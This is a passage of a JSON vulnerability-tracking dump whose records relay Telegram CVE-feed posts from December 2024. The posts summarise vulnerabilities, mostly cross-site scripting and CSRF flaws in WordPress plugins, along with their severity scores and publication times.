"2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12072", "type": "seen", "source": "https://t.me/cvedetector/12730", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12072 - Google Analytics Made Easy XSS Reflection in Analytics Cat for WordPress\", \n  \"Content\": \"CVE ID : CVE-2024-12072 \nPublished : Dec. 12, 2024, 6:15 a.m. | 42\u00a0minutes ago \nDescription : The Analytics Cat \u2013 Google Analytics Made Easy plugin for WordPress is vulnerable to Reflected Cross-Site Scripting due to the use of add_query_arg without appropriate escaping on the URL in all versions up to, and including, 1.1.2. This makes it possible for unauthenticated attackers to inject arbitrary web scripts that execute if they can successfully trick a user into performing an action, such as clicking on a specially crafted link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-12T07:58:30.000000Z"}, {"uuid": "91b1c21b-2537-47bf-b733-fc753f0fc08a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12641", "type": "seen", "source": "https://t.me/cvedetector/12974", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12641 - Chunghwa Telecom TenderDocTransfer Cross-Site Scripting (XSS) and Command Injection\", \n  \"Content\": \"CVE ID : CVE-2024-12641 \nPublished : Dec. 16, 2024, 7:15 a.m. | 34\u00a0minutes ago \nDescription : TenderDocTransfer from Chunghwa Telecom has a Reflected Cross-site scripting vulnerability. The application sets up a simple local web server and provides APIs for communication with the target website. Due to the lack of CSRF protection for the APIs, unauthenticated remote attackers could use specific APIs through phishing to execute arbitrary JavaScript code in the user\u2019s browser. Since the web server set by the application supports Node.Js features, attackers can further leverage this to run OS commands. \nSeverity: 9.6 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-16T08:58:56.000000Z"}, {"uuid": "457e7959-7d0a-49e6-8bbc-5becb4532dd8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12646", "type": "seen", "source": "https://t.me/cvedetector/12973", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12646 - Chunghwa Telecom Topm-Client Absolute Path Traversal/CSRF ACK\", \n  \"Content\": \"CVE ID : CVE-2024-12646 \nPublished : Dec. 16, 2024, 7:15 a.m. | 34\u00a0minutes ago \nDescription : The topm-client from Chunghwa Telecom has an Arbitrary File Delete vulnerability. The application sets up a simple local web server and provides APIs for communication with the target website. Due to the lack of CSRF protection in the APIs, unauthenticated remote attackers could use these APIs through phishing. Additionally, one of the APIs contains an Absolute Path Traversal vulnerability, allowing attackers to delete arbitrary files on the user's system. \nSeverity: 8.1 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-16T08:58:56.000000Z"}, {"uuid": "17aa09af-8dd2-415d-b27b-a6ad7ef8e760", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12645", "type": "seen", "source": "https://t.me/cvedetector/12972", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12645 - Chunghwa Telecom Topm-Client Arbitrary File Read and CSRF Weakness Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12645 \nPublished : Dec. 16, 2024, 7:15 a.m. | 34\u00a0minutes ago \nDescription : The topm-client from Chunghwa Telecom has an Arbitrary File Read vulnerability. The application sets up a simple local web server and provides APIs for communication with the target website. Due to the lack of CSRF protection for the APIs, unauthenticated remote attackers could use these APIs through phishing. Additionally, one of the APIs contains a Relative Path Traversal vulnerability, allowing attackers to read arbitrary files on the user's system. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-16T08:58:55.000000Z"}, {"uuid": "5f505a0a-6e8f-4f4c-9d22-c6ffb35e6f74", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12042", "type": "seen", "source": "https://t.me/cvedetector/12845", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12042 - WordPress MStore Stored Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12042 \nPublished : Dec. 13, 2024, 9:15 a.m. | 20\u00a0minutes ago \nDescription : The MStore API \u2013 Create Native Android & iOS Apps On The Cloud plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the profile picture upload functionality in all versions up to, and including, 4.16.4 due to insufficient file type validation. This makes it possible for authenticated attackers, with subscriber-level access and above, to upload HTML files with arbitrary web scripts that will execute whenever a user accesses the file. \nSeverity: 5.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-13T10:45:09.000000Z"}, {"uuid": "c07c770f-d91f-4e37-afe9-3a33a6267f02", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12294", "type": "seen", "source": "https://t.me/cvedetector/12629", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12294 - WordPress WPBeginner Sensitive Information Exposure Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12294 \nPublished : Dec. 11, 2024, 11:15 a.m. | 20\u00a0minutes ago \nDescription : The Last Viewed Posts by WPBeginner plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 1.0.1 via the 'get_legacy_cookies' function. This makes it possible for unauthenticated attackers to extract sensitive data including titles and permalinks of private, password-protected, pending, and draft posts. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-11T12:43:59.000000Z"}, {"uuid": "c8ef5c8f-14ff-4319-bbb7-dc00408bafe3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12446", "type": "seen", "source": "https://t.me/cvedetector/12936", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12446 - \"WordPress Post to Pdf Stored Cross-Site Scripting Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-12446 \nPublished : Dec. 14, 2024, 7:15 a.m. | 39\u00a0minutes ago \nDescription : The Post to Pdf plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'gmptp_single_post' shortcode in all versions up to, and including, 1.0 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-14T09:20:24.000000Z"}, {"uuid": "c435ee6c-7055-4074-bd43-49feda1963e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12628", "type": "seen", "source": "https://t.me/cvedetector/12935", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12628 - WordPress Easy Cache Plugin Stored XSS Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12628 \nPublished : Dec. 14, 2024, 7:15 a.m. | 39\u00a0minutes ago \nDescription : The bodi0`s Easy cache plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'cache-folder' parameter in all versions up to, and including, 0.8 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled. \nSeverity: 4.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-14T09:20:23.000000Z"}, {"uuid": "3838b939-fc4e-404c-9cd6-8f4c637e0e11", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12474", "type": "seen", "source": "https://t.me/cvedetector/12929", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12474 - WordPress GeoDataSource Country Region DropDown Stored Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12474 \nPublished : Dec. 14, 2024, 6:15 a.m. | 16\u00a0minutes ago \nDescription : The GeoDataSource Country Region DropDown plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'gds-country-dropdown' shortcode in all versions up to, and including, 1.0.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-14T07:40:02.000000Z"}, {"uuid": "26e94a9e-549c-4ad3-b09a-8d039fd818b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12447", "type": "seen", "source": "https://t.me/cvedetector/12918", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12447 - WordPress Get Post Content Shortcode Insecure Direct Object Reference Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12447 \nPublished : Dec. 14, 2024, 5:15 a.m. | 27\u00a0minutes ago \nDescription : The Get Post Content Shortcode plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 0.4 via the 'post-content' shortcode due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with Contributor-level access and above, to read the content of password-protected, private, draft, and pending posts. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-14T06:49:44.000000Z"}, {"uuid": "e44c2b6b-f5ac-4399-a56f-7658cc78a242", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12411", "type": "seen", "source": "https://t.me/cvedetector/12917", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12411 - WordPress WP Ad Guru Stored Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12411 \nPublished : Dec. 14, 2024, 5:15 a.m. | 27\u00a0minutes ago \nDescription : The WP Ad Guru \u2013 Banner ad, Responsive popup, Popup maker, Ad rotator & More plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'page' parameter in all versions up to, and including, 2.5.4 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-14T06:49:40.000000Z"}, {"uuid": "bed73a3a-a0a5-459b-9103-800278e7d943", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12555", "type": "seen", "source": "https://t.me/cvedetector/12914", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12555 - WordPress SIP Calculator CSRF\", \n  \"Content\": \"CVE ID : CVE-2024-12555 \nPublished : Dec. 14, 2024, 5:15 a.m. | 27\u00a0minutes ago \nDescription : The SIP Calculator plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.0. This is due to missing nonce validation on a function. This makes it possible for unauthenticated attackers to inject malicious web scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-14T06:49:38.000000Z"}, {"uuid": "d70e9518-8727-42e8-8afd-6370231628e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12517", "type": "seen", "source": "https://t.me/cvedetector/12912", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12517 - WooCommerce Cart Count Shortcode Stored Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12517 \nPublished : Dec. 14, 2024, 5:15 a.m. | 27\u00a0minutes ago \nDescription : The WooCommerce Cart Count Shortcode plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'cart_button' shortcode in all versions up to, and including, 1.0.4 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-14T06:49:34.000000Z"}, {"uuid": "e2fcb615-6fc2-429f-98b5-40e8970e60da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12523", "type": "seen", "source": "https://t.me/cvedetector/12913", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12523 - Adobe States Map US WordPress Stored Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12523 \nPublished : Dec. 14, 2024, 5:15 a.m. | 27\u00a0minutes ago \nDescription : The States Map US plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'states_map' shortcode in all versions up to, and including, 2.4.2 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-14T06:49:38.000000Z"}, {"uuid": "8df81cc7-3aaf-4030-bc3f-ef5aedf3f100", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12458", "type": "seen", "source": "https://t.me/cvedetector/12910", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12458 - WordPress Smart PopUp Blaster Stored Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12458 \nPublished : Dec. 14, 2024, 5:15 a.m. | 27\u00a0minutes ago \nDescription : The Smart PopUp Blaster plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'spb-button' shortcode in all versions up to, and including, 1.4.3 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-14T06:49:33.000000Z"}, {"uuid": "86eecbe8-ad7e-4425-8197-fa32894d1fde", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12502", "type": "seen", "source": "https://t.me/cvedetector/12911", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12502 - WordPress My IDX Home Search Stored Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12502 \nPublished : Dec. 14, 2024, 5:15 a.m. | 27\u00a0minutes ago \nDescription : The My IDX Home Search plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'homeasap-idx-landing' shortcode in all versions up to, and including, 2.0.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-14T06:49:33.000000Z"}, {"uuid": "679fd5bf-cec9-45b9-b15c-9eaba7dbe336", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12578", "type": "seen", "source": "https://t.me/cvedetector/12909", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12578 - Tickera WordPress Event Ticketing - Unauthenticated Information Exposure Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12578 \nPublished : Dec. 14, 2024, 5:15 a.m. | 27\u00a0minutes ago \nDescription : The Tickera \u2013 WordPress Event Ticketing plugin for WordPress is vulnerable to Information Exposure in all versions up to, and including, 3.5.4.8 via the 'tickera_tickets_info' endpoint. This makes it possible for unauthenticated attackers to extract sensitive data from bookings like full names, email addresses, check-in/out timestamps and more. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-14T06:49:32.000000Z"}, {"uuid": "b12b97d8-2154-45a4-9165-79ab14763130", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12552", "type": "seen", "source": "https://t.me/cvedetector/12906", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12552 - Wacom WTabletServicePro Local Privilege Escalation Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12552 \nPublished : Dec. 13, 2024, 11:15 p.m. | 39\u00a0minutes ago \nDescription : Wacom Center WTabletServicePro Link Following Local Privilege Escalation Vulnerability. This vulnerability allows local attackers to escalate privileges on affected installations of Wacom Center. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.   \n  \nThe specific flaw exists within WTabletServicePro.exe. By creating a symbolic link, an attacker can abuse the service to create an arbitrary file. An attacker can leverage this vulnerability to escalate privileges and execute arbitrary code in the context of SYSTEM. Was ZDI-CAN-25359. \nSeverity: 7.0 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-14T00:58:32.000000Z"}, {"uuid": "bff92cba-f74f-4f52-8f81-dcca16b2a04c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12553", "type": "seen", "source": "https://t.me/cvedetector/12905", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12553 - GeoVision GV-ASManager Authentication Bypass Information Disclosure Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12553 \nPublished : Dec. 13, 2024, 11:15 p.m. | 39\u00a0minutes ago \nDescription : GeoVision GV-ASManager Missing Authorization Information Disclosure Vulnerability. This vulnerability allows remote attackers to disclose sensitive information on affected installations of GeoVision GV-ASManager. Although authentication is required to exploit this vulnerability, default guest credentials may be used.  \n  \nThe specific flaw exists within the GV-ASWeb service. The issue results from the lack of authorization prior to allowing access to functionality. An attacker can leverage this vulnerability to disclose stored credentials, leading to further compromise. Was ZDI-CAN-25394. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-14T00:58:32.000000Z"}, {"uuid": "088f29c4-f45a-44b6-a572-2928ea099f9e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12289", "type": "seen", "source": "https://t.me/cvedetector/12815", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12289 - Boundary HTTP Request Handling Premature Termination Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12289 \nPublished : Dec. 12, 2024, 11:15 p.m. | 26\u00a0minutes ago \nDescription : Boundary Community Edition and Boundary Enterprise (\u201cBoundary\u201d) incorrectly handle HTTP requests during the initialization of the Boundary controller, which may cause the Boundary server to terminate prematurely. Boundary is only vulnerable to this flaw during the initialization of the Boundary controller, which on average is measured in milliseconds during the Boundary startup process.  \n  \nThis vulnerability, CVE-2024-12289, is fixed in Boundary Community Edition and Boundary Enterprise 0.16.4, 0.17.3, 0.18.2. \nSeverity: 5.9 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-13T00:42:47.000000Z"}, {"uuid": "9128c9f2-2459-42b0-a9fe-1a7a2480c1a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12526", "type": "seen", "source": "https://t.me/cvedetector/12708", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12526 - Arena.IM WordPress Live Blogging CSRF Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12526 \nPublished : Dec. 12, 2024, 5:15 a.m. | 43\u00a0minutes ago \nDescription : The Arena.IM \u2013 Live Blogging for real-time events plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 0.3.0. This is due to missing or incorrect nonce validation on the 'albfre_user_action' AJAX action. This makes it possible for unauthenticated attackers to update the plugin's settings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-12T07:07:53.000000Z"}, {"uuid": "8899a0bf-217f-4fa0-b501-e620f3aa675e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12309", "type": "seen", "source": "https://t.me/cvedetector/12846", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12309 - FeedbackWP Rate My Post Insecure Direct Object Reference Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12309 \nPublished : Dec. 13, 2024, 9:15 a.m. | 20\u00a0minutes ago \nDescription : The Rate My Post \u2013 Star Rating Plugin by FeedbackWP plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 4.2.4 via the get_post_status() due to missing validation on a user controlled key. This makes it possible for unauthenticated attackers to vote on unpublished scheduled posts. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-13T10:45:10.000000Z"}, {"uuid": "85544e41-44e6-4e60-9cc1-3a7f874f4318", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12417", "type": "seen", "source": "https://t.me/cvedetector/12841", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12417 - \"WordPress Simple Link Directory RCE\"\", \n  \"Content\": \"CVE ID : CVE-2024-12417 \nPublished : Dec. 13, 2024, 9:15 a.m. | 20\u00a0minutes ago \nDescription : The The Simple Link Directory plugin for WordPress is vulnerable to arbitrary shortcode execution in all versions up to, and including, 8.4.0. This is due to the software allowing users to execute an action that does not properly validate a value before running do_shortcode. This makes it possible for unauthenticated attackers to execute arbitrary shortcodes. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-13T10:45:03.000000Z"}, {"uuid": "ee6aabe6-3402-43bd-ae93-20e999b83960", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12414", "type": "seen", "source": "https://t.me/cvedetector/12840", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12414 - Themify Store Locator CSRF\", \n  \"Content\": \"CVE ID : CVE-2024-12414 \nPublished : Dec. 13, 2024, 9:15 a.m. | 20\u00a0minutes ago \nDescription : The Themify Store Locator plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.1.9. This is due to missing or incorrect nonce validation on the setting_page() function. This makes it possible for unauthenticated attackers to modify the plugin's settings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-13T10:45:02.000000Z"}, {"uuid": "ad2ebb93-9757-4666-bccd-d9bd5e370ba2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12465", "type": "seen", "source": "https://t.me/cvedetector/12839", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12465 - Property Hive WordPress Stamp Duty Calculator Stored Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12465 \nPublished : Dec. 13, 2024, 9:15 a.m. | 20\u00a0minutes ago \nDescription : The Property Hive Stamp Duty Calculator plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'stamp_duty_calculator_scotland' shortcode in all versions up to, and including, 1.0.22 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever 